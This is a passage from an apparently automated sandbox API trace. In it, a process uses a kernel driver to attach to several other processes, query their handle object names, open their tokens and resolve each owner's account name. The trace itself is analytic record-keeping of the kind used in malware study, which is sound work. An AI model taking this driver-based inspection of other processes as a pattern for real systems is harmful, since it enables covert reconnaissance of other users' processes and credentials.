HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.404] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.405] PsReleaseProcessExitSynchronization () returned 0x2 [0105.405] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0105.405] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.405] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.405] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.405] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.405] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0xc0 [0105.405] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.405] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fc0b30, HandleInformation=0x0) returned 0x0 [0105.405] ObOpenObjectByPointer (in: Object=0xfffffa8001fc0b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.405] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x12 [0105.405] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0105.405] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.405] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.405] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.405] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.406] CloseHandle (hObject=0xc8) returned 1 [0105.406] CloseHandle (hObject=0xc0) returned 1 [0105.407] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.407] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.407] PsAcquireProcessExitSynchronization () returned 0x0 [0105.407] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff88004f095d0) [0105.407] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a126f0, HandleInformation=0x0) returned 0x0 [0105.407] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.407] PsReleaseProcessExitSynchronization () returned 0x2 [0105.407] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0105.407] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.407] ObfDereferenceObject (Object=0xfffffa8001a126f0) returned 0x1 [0105.407] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.407] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.407] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0105.407] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.407] PsAcquireProcessExitSynchronization () returned 0x0 [0105.407] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff88004f095d0) [0105.407] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fc01e0, HandleInformation=0x0) returned 0x0 [0105.407] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.407] PsReleaseProcessExitSynchronization () returned 0x2 [0105.407] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0105.407] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.407] ObfDereferenceObject (Object=0xfffffa8001fc01e0) returned 0x1 [0105.407] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.407] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.407] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.408] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.408] PsAcquireProcessExitSynchronization () returned 0x0 [0105.408] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff88004f095d0) [0105.408] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.408] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.408] PsReleaseProcessExitSynchronization () returned 0x2 [0105.408] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0105.408] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.408] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.408] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.408] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.408] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0xc0 [0105.408] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.408] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fef740, HandleInformation=0x0) returned 0x0 [0105.408] ObOpenObjectByPointer (in: Object=0xfffffa8001fef740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.408] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x12 [0105.408] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0105.408] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.408] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.408] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.408] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.416] CloseHandle (hObject=0xc8) returned 1 [0105.416] CloseHandle (hObject=0xc0) returned 1 [0105.416] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.416] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.416] PsAcquireProcessExitSynchronization () returned 0x0 [0105.416] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff88004f095d0) [0105.416] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fef070, HandleInformation=0x0) returned 0x0 [0105.416] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.416] PsReleaseProcessExitSynchronization () returned 0x2 [0105.416] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0105.416] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.416] ObfDereferenceObject (Object=0xfffffa8001fef070) returned 0x1 [0105.416] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.416] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.416] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0105.416] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.416] PsAcquireProcessExitSynchronization () returned 0x0 [0105.416] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff88004f095d0) [0105.417] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ff3070, HandleInformation=0x0) returned 0x0 [0105.417] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.417] PsReleaseProcessExitSynchronization () returned 0x2 [0105.417] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0105.417] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.417] ObfDereferenceObject (Object=0xfffffa8001ff3070) returned 0x1 [0105.417] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.417] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.417] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.417] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.417] PsAcquireProcessExitSynchronization () returned 0x0 [0105.417] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff88004f095d0) [0105.417] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.417] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.417] PsReleaseProcessExitSynchronization () returned 0x2 [0105.417] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0105.417] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.417] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.417] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.417] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.417] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0xc0 [0105.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.417] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001ffc3e0, HandleInformation=0x0) returned 0x0 [0105.417] ObOpenObjectByPointer (in: Object=0xfffffa8001ffc3e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.417] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x12 [0105.417] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.417] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.418] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.418] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.418] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.419] CloseHandle (hObject=0xc8) returned 1 [0105.419] CloseHandle (hObject=0xc0) returned 1 [0105.419] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.419] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.419] PsAcquireProcessExitSynchronization () returned 0x0 [0105.419] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff88004f095d0) [0105.419] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ffcd10, HandleInformation=0x0) returned 0x0 [0105.419] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.419] PsReleaseProcessExitSynchronization () returned 0x2 [0105.419] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0105.419] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.419] ObfDereferenceObject (Object=0xfffffa8001ffcd10) returned 0x1 [0105.419] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.420] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.420] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0105.420] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.420] PsAcquireProcessExitSynchronization () returned 0x0 [0105.420] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff88004f095d0) [0105.420] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002000a20, HandleInformation=0x0) returned 0x0 [0105.420] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.420] PsReleaseProcessExitSynchronization () returned 0x2 [0105.420] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0105.420] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.420] ObfDereferenceObject (Object=0xfffffa8002000a20) returned 0x1 [0105.420] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.420] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.420] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.420] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.420] PsAcquireProcessExitSynchronization () returned 0x0 [0105.420] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff88004f095d0) [0105.420] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.420] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.420] PsReleaseProcessExitSynchronization () returned 0x2 [0105.420] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0105.420] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.420] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.420] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.420] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.420] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0xc0 [0105.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.421] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800201cb30, HandleInformation=0x0) returned 0x0 [0105.421] ObOpenObjectByPointer (in: Object=0xfffffa800201cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.421] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x12 [0105.421] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.421] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.421] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.421] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.421] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.422] CloseHandle (hObject=0xc8) returned 1 [0105.422] CloseHandle (hObject=0xc0) returned 1 [0105.422] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.422] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.422] PsAcquireProcessExitSynchronization () returned 0x0 [0105.422] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff88004f095d0) [0105.423] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020147d0, HandleInformation=0x0) returned 0x0 [0105.423] KeUnstackDetachProcess 